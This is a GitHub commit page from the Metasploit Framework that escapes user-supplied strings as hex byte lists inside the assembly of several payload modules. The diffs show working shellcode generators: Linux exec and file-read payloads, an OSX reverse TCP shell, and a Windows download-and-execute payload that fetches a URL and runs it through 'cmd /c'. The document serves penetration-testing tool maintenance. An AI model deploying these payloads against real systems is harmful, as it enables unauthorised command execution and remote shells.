Skip to content

Commit 963eaef

Browse files
authored
Merge pull request rapid7#21411 from zeroSteiner/fix/linux-x64-exec
Escape strings embedded into the assembly of multiple payloads
2 parents 2b42d77 + 6e659ca commit 963eaef

9 files changed

Lines changed: 51 additions & 30 deletions

File tree

modules/payloads/singles/linux/x64/exec.rb

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,8 @@ def initialize(info = {})
3939

4040
def generate(_opts = {})
4141
cmd = datastore['CMD'] || ''
42+
cmd_length = cmd.bytesize
43+
cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ')
4244
nullfreeversion = datastore['NullFreeVersion']
4345

4446
if cmd.empty?
@@ -93,19 +95,20 @@ def generate(_opts = {})
9395
pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)
9496

9597
if nullfreeversion
96-
if cmd.length > 0xffff
98+
if cmd_length > 0xffff
9799
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
98100
end
99101

100-
if cmd.length <= 0xff # 255
102+
if cmd_length <= 0xff # 255
101103
breg = 'bl'
102104
else
103105
breg = 'bx'
104-
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
105-
cmd += ' '
106+
if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes
107+
cmd += ', 0x20'
108+
cmd_length += 1
106109
end
107110
end
108-
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
111+
mov_cmd_len_to_breg = "mov #{breg}, #{cmd_length}"
109112

110113
# 48 bytes without cmd (null-free)
111114
payload = <<-EOS
@@ -144,7 +147,7 @@ def generate(_opts = {})
144147
syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)
145148
tocall:
146149
call afterjmp
147-
db "#{cmd}" ; arbitrary command
150+
db #{cmd} ; arbitrary command
148151
EOS
149152
else
150153
# 37 bytes without cmd (not null-free)
@@ -163,7 +166,7 @@ def generate(_opts = {})
163166
164167
push rdx ; NULL
165168
call continue
166-
db "#{cmd}", 0x00 ; arbitrary command
169+
db #{cmd}, 0x00 ; arbitrary command
167170
continue:
168171
push rsi ; "-c"
169172
push rdi ; "/bin/sh"

modules/payloads/singles/linux/x64/set_hostname.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,7 @@ def generate(_opts = {})
3636
if length > 0xff
3737
fail_with(Msf::Module::Failure::BadConfig, 'HOSTNAME must be less than 255 characters.')
3838
end
39+
hostname = hostname.bytes.map { |byte| '0x%02x' % byte }.join(', ')
3940

4041
payload = %^
4142
push 0xffffffffffffff56 ; sethostname() syscall number.
@@ -57,7 +58,7 @@ def generate(_opts = {})
5758
5859
str:
5960
call end
60-
db "#{hostname}A"
61+
db #{hostname}, 0x41
6162
^
6263

6364
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string

modules/payloads/singles/linux/x86/exec.rb

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -52,6 +52,8 @@ def initialize(info = {})
5252

5353
def generate(_opts = {})
5454
cmd = datastore['CMD'] || ''
55+
cmd_length = cmd.bytesize
56+
cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ')
5557
nullfreeversion = datastore['NullFreeVersion']
5658
if cmd.empty?
5759
#
@@ -89,19 +91,20 @@ def generate(_opts = {})
8991
#
9092
pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)
9193
if nullfreeversion
92-
if cmd.length > 0xffff
94+
if cmd_length > 0xffff
9395
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
9496
end
9597

96-
if cmd.length <= 0xff # 255
98+
if cmd_length <= 0xff # 255
9799
breg = 'bl'
98100
else
99101
breg = 'bx'
100-
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
101-
cmd += ' '
102+
if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes
103+
cmd += ', 0x20'
104+
cmd_length += 1
102105
end
103106
end
104-
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
107+
mov_cmd_len_to_breg = "mov #{breg}, #{cmd_length}"
105108
# 47/49 bytes without cmd (null-free)
106109
payload = <<-EOS
107110
xor ebx, ebx
@@ -127,7 +130,7 @@ def generate(_opts = {})
127130
int 0x80
128131
tocall:
129132
call afterjmp ; call/pop cmd address
130-
db "#{cmd}"
133+
db #{cmd}
131134
EOS
132135
else
133136
# 36 bytes without cmd (not null-free)
@@ -143,7 +146,7 @@ def generate(_opts = {})
143146
mov ebx, esp
144147
push edx
145148
call continue
146-
db "#{cmd}", 0x00
149+
db #{cmd}, 0x00
147150
continue:
148151
push edi
149152
push ebx

modules/payloads/singles/linux/x86/read_file.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,7 @@ def initialize(info = {})
3434

3535
def generate(_opts = {})
3636
fd = datastore['FD']
37+
path = (datastore['PATH'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
3738

3839
payload_data = <<-EOS
3940
jmp file
@@ -65,7 +66,7 @@ def generate(_opts = {})
6566
6667
file:
6768
call open
68-
db "#{datastore['PATH']}", 0x00
69+
db #{path}, 0x00
6970
EOS
7071

7172
Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string

modules/payloads/singles/osx/x64/shell_reverse_tcp.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,7 @@ def generate(_opts = {})
4444
end
4545

4646
cmd = (datastore['CMD'] || '') + "\x00"
47+
cmd = cmd.bytes.map { |byte| '0x%02x' % byte }.join(', ')
4748
encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
4849
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
4950
encoded_host_port = format('0x%<encoded_host>.8x%<encoded_port>.8x', { encoded_host: encoded_host, encoded_port: encoded_port })
@@ -80,7 +81,7 @@ def generate(_opts = {})
8081
xor rax,rax
8182
mov eax,0x200003b
8283
call load_cmd
83-
db "#{cmd}", 0x00
84+
db #{cmd}, 0x00
8485
load_cmd:
8586
pop rdi
8687
xor rdx,rdx

modules/payloads/singles/windows/download_exec.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -124,6 +124,10 @@ def generate(_opts = {})
124124

125125
# get protocol specific stuff
126126

127+
server_uri = server_uri.bytes.map { |byte| '0x%02x' % byte }.join(', ')
128+
filename = filename.bytes.map { |byte| '0x%02x' % byte }.join(', ')
129+
server_host = server_host.bytes.map { |byte| '0x%02x' % byte }.join(', ')
130+
127131
# create actual payload
128132
payload_data = %^
129133
cld
@@ -222,7 +226,7 @@ def generate(_opts = {})
222226
call httpopenrequest
223227
224228
server_uri:
225-
db "#{server_uri}", 0x00
229+
db #{server_uri}, 0x00
226230
227231
create_file:
228232
jmp.i8 get_filename
@@ -293,13 +297,13 @@ def generate(_opts = {})
293297
294298
get_filename:
295299
call get_filename_return
296-
db "#{filename}",0x00
300+
db #{filename}, 0x00
297301
298302
get_server_host:
299303
call internetconnect
300304
301305
server_host:
302-
db "#{server_host}", 0x00
306+
db #{server_host}, 0x00
303307
end:
304308
^
305309
self.assembly = payload_data

modules/payloads/singles/windows/messagebox.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,8 @@ def initialize(info = {})
4040
# Construct the payload
4141
#
4242
def generate(_opts = {})
43+
title = (datastore['TITLE'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
44+
text = (datastore['TEXT'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
4345
style = 0x00
4446
case datastore['ICON'].upcase.strip
4547
# default = NO
@@ -89,10 +91,10 @@ def generate(_opts = {})
8991
call ebp
9092
push #{style}
9193
call get_title
92-
db "#{datastore['TITLE']}", 0x00
94+
db #{title}, 0x00
9395
get_title:
9496
call get_text
95-
db "#{datastore['TEXT']}", 0x00
97+
db #{text}, 0x00
9698
get_text:
9799
push 0
98100
push #{block_api_hash('user32.dll', 'MessageBoxA')}

modules/payloads/singles/windows/x64/download_exec.rb

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,10 @@ def generate(_opts = {})
4040
url = datastore['URL'] || 'http://localhost/hi.exe'
4141
file = datastore['FILEPATH'] || 'fox.exe'
4242
display = datastore['DISPLAY'] || 'HIDE'
43+
url_length = url.bytesize
44+
file_length = file.bytesize
45+
url = url.bytes.map { |byte| '0x%02x' % byte }.join(', ')
46+
file = file.bytes.map { |byte| '0x%02x' % byte }.join(', ')
4347

4448
payload = %^
4549
cld
@@ -61,17 +65,17 @@ def generate(_opts = {})
6165
6266
SetUrl:
6367
call SetFile
64-
db "#{url}A"
68+
db #{url}, 0x41
6569
6670
SetFile:
6771
pop rdx ; 2nd argument
68-
xor byte [rdx+#{url.length}], 'A' ; null terminator
72+
xor byte [rdx+#{url_length}], 'A' ; null terminator
6973
call UrlDownloadToFile
70-
db "#{file}C"
74+
db #{file}, 0x43
7175
7276
UrlDownloadToFile:
7377
pop r8 ; 3rd argument
74-
xor byte [r8+#{file.length}], 'C' ; null terminator
78+
xor byte [r8+#{file_length}], 'C' ; null terminator
7579
xor rcx,rcx ; 1st argument
7680
xor r9,r9 ; 4th argument
7781
sub rsp, 8
@@ -81,11 +85,11 @@ def generate(_opts = {})
8185
8286
SetCommand:
8387
call Exec
84-
db "cmd /c #{file}F"
88+
db "cmd /c ", #{file}, 0x46
8589
8690
Exec:
8791
pop rcx ; 1st argument
88-
xor byte [rcx+#{file.length + 7}], 'F' ; null terminator
92+
xor byte [rcx+#{file_length + 7}], 'F' ; null terminator
8993
mov r10d, #{block_api_hash('kernel32.dll', 'WinExec')}
9094
xor rdx, rdx ; 2nd argument
9195
^

modules/payloads/singles/windows/x64/messagebox.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,8 @@ def initialize(info = {})
3636
end
3737

3838
def generate(_opts = {})
39+
title = (datastore['TITLE'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
40+
text = (datastore['TEXT'] || '').bytes.map { |byte| '0x%02x' % byte }.join(', ')
3941
style = 0x00
4042
case datastore['ICON'].upcase.strip
4143
# default = NO
@@ -88,11 +90,11 @@ def generate(_opts = {})
8890
call rbp
8991
mov r9, #{style}
9092
call get_text
91-
db "#{datastore['TEXT']}", 0x00
93+
db #{text}, 0x00
9294
get_text:
9395
pop rdx
9496
call get_title
95-
db "#{datastore['TITLE']}", 0x00
97+
db #{title}, 0x00
9698
get_title:
9799
pop r8
98100
xor rcx,rcx

0 commit comments

Comments
 (0)